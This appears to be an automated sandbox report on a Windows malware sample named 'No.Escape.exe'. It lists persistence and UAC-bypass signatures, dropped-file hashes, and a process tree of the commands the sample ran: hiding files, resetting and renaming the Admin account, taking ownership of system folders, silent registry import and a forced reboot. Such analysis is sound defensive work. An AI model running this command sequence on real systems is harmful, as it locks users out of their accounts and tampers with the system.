Analysis

  • user interaction
    yes
  • max time kernel
    10s
  • max time network
    11s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/08/2026, 04:38

Errors

Reason
Machine shutdown

General

  • Target
    No.Escape.exe
  • Size 1.0MB
  • Sample260828-e9xbbasyfs
  • SHA256 3f5bf1b4d86283396677cbfefcad89f72ecc50fd9c993b5f75812789f4d3d81f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 1 IoCs
  • Modifies system executable filetype association 2 TTPs 4 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Modifies WinLogon 2 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 4 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\No.Escape.exe
    "C:\Users\Admin\AppData\Local\Temp\No.Escape.exe"
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Checks computer location settings
    • Modifies system executable filetype association
    • Checks whether UAC is enabled
    • Modifies WinLogon
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4860
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\hello.bat" "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4224
      • C:\Windows\SysWOW64\attrib.exe
        attrib +s +h C:\hello.png
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:3800
      • C:\Windows\SysWOW64\attrib.exe
        attrib +s +h C:\hello.bat
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:884
      • C:\Windows\SysWOW64\net.exe
        net user Admin death
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user Admin death
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1720
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic useraccount where name='Admin' rename 'NO ESCAPE'
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1276
      • C:\Windows\SysWOW64\takeown.exe
        takeown /f "C:\ProgramData\Microsoft\User Account Pictures" /r /d y
        3⤵
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        PID:4568
      • C:\Windows\SysWOW64\xcopy.exe
        xcopy *.png "C:\ProgramData\Microsoft\User Account Pictures\"
        3⤵
        • System Location Discovery: System Language Discovery
        • Enumerates system info in registry
        PID:4136
      • C:\Windows\SysWOW64\xcopy.exe
        xcopy *.bmp "C:\ProgramData\Microsoft\User Account Pictures\"
        3⤵
        • System Location Discovery: System Language Discovery
        • Enumerates system info in registry
        PID:2248
      • C:\Windows\SysWOW64\regedit.exe
        regedit /s C:\Windows\System32\hello.reg
        3⤵
        • System Location Discovery: System Language Discovery
        • Runs .reg file with regedit
        PID:4004
      • C:\Windows\SysWOW64\regedit.exe
        regedit -s C:\Windows\System32\hello.reg
        3⤵
        • System Location Discovery: System Language Discovery
        • Runs .reg file with regedit
        PID:1312
      • C:\Windows\SysWOW64\shutdown.exe
        shutdown /t 0 /r
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2204
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa392a055 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:1648

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        炟rs㮥q摋耖qmu

        • Path C:\Users\Public\Desktop\炟rs㮥q摋耖qmu
        • Size 82B
        • SHA256 9ae8b5ce9bc7c5286a2c4e734c68c7a5a04a63d492ce8323d00668ae1cf8dc6b
        • MD5 SHA1 SHA512 TLSH

        hello.bat

        • Path C:\hello.bat
        • Size 640B
        • SHA256 49d4a3a85f7eac86d5388ef0fd858875c8ad4f24a8e649e0bfc802f06584d5b6
        • MD5 SHA1 SHA512 TLSH

        hello.png

        • Path C:\hello.png
        • Size 391KB
        • SHA256 cf7b5334e06a13501821834cd1aedb7c3306a543f7d8ec03d1f20bfaf9bed613
        • MD5 SHA1 SHA512 SSDEEP TLSH

        user-192.png

        • Path C:\user-192.png
        • Size 1KB
        • SHA256 e54ea8405024f1fa72e470417059bdd186b0a3836f7d5e1c2c95c6003383912f
        • MD5 SHA1 SHA512 TLSH

        user-32.png

        • Path C:\user-32.png
        • Size 237B
        • SHA256 4810dc6c101937dde12d4581de81e608ea144761d1307779dc6a256872330ede
        • MD5 SHA1 SHA512 TLSH

        user-40.png

        • Path C:\user-40.png
        • Size 307B
        • SHA256 b115a4548ad8e9c7cadb707a0ff79fcd55d9d900eefa7a922ca50c85c4d3ca1d
        • MD5 SHA1 SHA512 TLSH

        user-48.png

        • Path C:\user-48.png
        • Size 353B
        • SHA256 37c63ee5d26fb77f8e697faec3891673e40c449bf8411cff806d852ae7506ada
        • MD5 SHA1 SHA512 TLSH

        user.bmp

        • Path C:\user.bmp
        • Size 588KB
        • SHA256 150e95da6c1e09511241130da0e376878f5e24e21c2a9dfe7fbcc1022660e29f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        user.png

        • Path C:\user.png
        • Size 1KB
        • SHA256 1025314ef977b5d07041b8b73e4adbea779e5e06096c3c66bd1f06fbbba7fd1c
        • MD5 SHA1 SHA512 TLSH